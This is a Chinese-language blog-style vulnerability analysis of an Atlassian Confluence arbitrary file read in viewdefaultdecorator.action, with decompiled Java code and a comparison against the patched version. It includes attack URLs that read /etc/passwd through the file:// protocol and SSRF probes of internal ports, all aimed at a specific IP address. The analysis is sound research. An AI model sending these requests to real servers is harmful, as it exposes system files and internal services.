Contents
  1. 1. poc
  2. 2. 漏洞分析
  3. 3. ssrf问题
  • 参考资料
  • poc

    exploit-db中提供了poc,可以读取confluence配置文件。后来跟漏洞发现者邮件沟通得知他也是通过黑盒测试的方式发现这个漏洞的。有关Atlassian Confluence信息泄露漏洞的尝试中分析了使用了../../无法跳到系统根目录,但是可以使用file://协议读取系统文件。所以这个漏洞的危害是读取任意系统文件。

    漏洞分析

    经过fuzz发现某些特殊字符会导致系统500,报错。比如%0a

    http://115.159.160.174:8099/spaces/viewdefaultdecorator.action?decoratorName=file:///etc/passwdd%0a
    

    获得stack trace信息

    反编译存在漏洞的confluence jar文件获得源代码。

    jar文件目录为:/opt/atlassian/confluence/lib

    使用jd-cmd反编译jar。命令为:

    ./jd-cli ../confluence/lib/*.jar -od test
    

    根据stack trace定位com.atlassian.confluence.admin.actions.lookandfeel.ViewDefaultDecoratorAction.execute方法。其实第一次分析,是通过查找字符串的方式定位代码的,后来发现可以通过stack trace快速定位。

    public class ViewDefaultDecoratorAction
      extends AbstractDecoratorAction
      implements LookAndFeel
    {
      private static final String HTML_QUOTE = """;
    
      public String execute()
        throws Exception
      {
        String template = readDefaultTemplate();
        if (template == null)
        {
          addActionError("template.not.found", new String[] { decoratorName });
          return "success";
        }
        BufferedReader br = new BufferedReader(new StringReader(template));
    
        String decoratorSource = "";
        String s;
        while ((s = br.readLine()) != null) {
          decoratorSource = decoratorSource + getIndent(s) + GeneralUtil.htmlEncode(s) + "<br/>";
        }
        setContent(linkIncludes(decoratorSource));
    
        return "success";
      }
    

    跟进readDefaultTemplate方法:

    public abstract class AbstractDecoratorAction
      extends AbstractLookAndFeelAction
    {
      private static final Logger log = LoggerFactory.getLogger(AbstractDecoratorAction.class);
      public static final String KLUDGE_WWRESOURCE_TEMPLATE = "decorators/wwloader.vmd";
      public static final String KLUDGE_CLASSPATH_TEMPLATE = "com/atlassian/confluence/cploader.vm";
      String content;
      protected String decoratorName;
    
      protected String readDefaultTemplate()
      {
        String templateSource = getTemplateFromResourceLoader("decorators/wwloader.vmd", decoratorName);
        if (templateSource == null) {
          templateSource = getTemplateFromResourceLoader("com/atlassian/confluence/cploader.vm", decoratorName);
        }
        if (templateSource == null) {
          log.warn("Couldn't load default template source for " + decoratorName);
        }
        return templateSource;
      }
    
      protected String getTemplateFromResourceLoader(String knownTemplatePath, String templateToRetrieve)
      {
        if ((!"".equals(decoratorName)) && (isUnderConfluenceApp(ServletContextThreadLocal.getRequest(), decoratorName)) && (
          (decoratorName.endsWith(".vm")) || (decoratorName.endsWith(".vmd")))) {
          try
          {
            Template t = VelocityManager.getInstance().getVelocityEngine().getTemplate(knownTemplatePath);
            return getTemplateSource(templateToRetrieve, t.getResourceLoader(), t.getEncoding());
          }
          catch (Exception e)
          {
            return null;
          }
        }
        return null;
      }
    
      protected String getTemplateSource(String template, ResourceLoader resourceLoader, String encoding)
      {
        String result = "";
        InputStream is = null;
        try
        {
          is = resourceLoader.getResourceStream(template);
          BufferedReader br = new BufferedReader(new InputStreamReader(is, encoding));
          while ((s = br.readLine()) != null) {
            result = result + s + System.getProperty("line.separator");
          }
          return result;
        }
        catch (Exception e)
        {
          String s;
          log.warn("Trouble reading velocity template", e);
          return null;
        }
        finally
        {
          if (is != null) {
            try
            {
              is.close();
            }
            catch (IOException e)
            {
              log.warn("Trouble closing velocity template", e);
            }
          }
        }
      }
    

    猜测是框架读取模板文件导致的任意文件读取。反编译最新版的confluence,对比代码。

    可以看到getTemplateFromResourceLoader方法增加了一个条件判断。

    (!"".equals(decoratorName)) && (isUnderConfluenceApp(ServletContextThreadLocal.getRequest(), decoratorName)) && (
          (decoratorName.endsWith(".vm")) || (decoratorName.endsWith(".vmd")))
    

    判断decoratorName不能为空,且要以.vm或者.vmd结尾。

    protected String getTemplateFromResourceLoader(String knownTemplatePath, String templateToRetrieve)
    {
      if ((!"".equals(decoratorName)) && (isUnderConfluenceApp(ServletContextThreadLocal.getRequest(), decoratorName)) && (
        (decoratorName.endsWith(".vm")) || (decoratorName.endsWith(".vmd")))) {
        try
        {
          Template t = VelocityManager.getInstance().getVelocityEngine().getTemplate(knownTemplatePath);
          return getTemplateSource(templateToRetrieve, t.getResourceLoader(), t.getEncoding());
        }
        catch (Exception e)
        {
          return null;
        }
      }
      return null;
    }
    

    在最新版系统系统中新建一个text.vm文件,通过file协议读取,发现可以成功读取。所以confluence是通过文件名结尾这个方式来修复这个任意文件读取漏洞的。如果有file协议阶段的问题,就可能再次导致漏洞。不过目前所知,并没有可以截断的方法。

    ssrf问题

    这个加载模板的方法支持file协议,通过报错信息可以得知,是通过java.net.URI.create来读取文件的。

    尝试其他协议,包括https,ftp协议都是支持的。

    http://115.159.160.174:8099/spaces/viewdefaultdecorator.action?decoratorName=ftp://127.0.0.1:3306/.vm
    

    http://115.159.160.174:8099/spaces/viewdefaultdecorator.action?decoratorName=https://127.0.0.1:3399/?.vm
    

    不知道为什么不支持http。不知道是否做了限制。想尝试通过https302到http测试。但是默认需要https证书正确才可以访问。尝试通过在java添加自签名证书失败。

    参考资料

    https://www.exploit-db.com/exploits/39170/
    http://zone.wooyun.org/content/27104
    http://www.wooyun.org/bugs/wooyun-2010-0207331

    Contents
    1. 1. poc
    2. 2. 漏洞分析
    3. 3. ssrf问题
  • 参考资料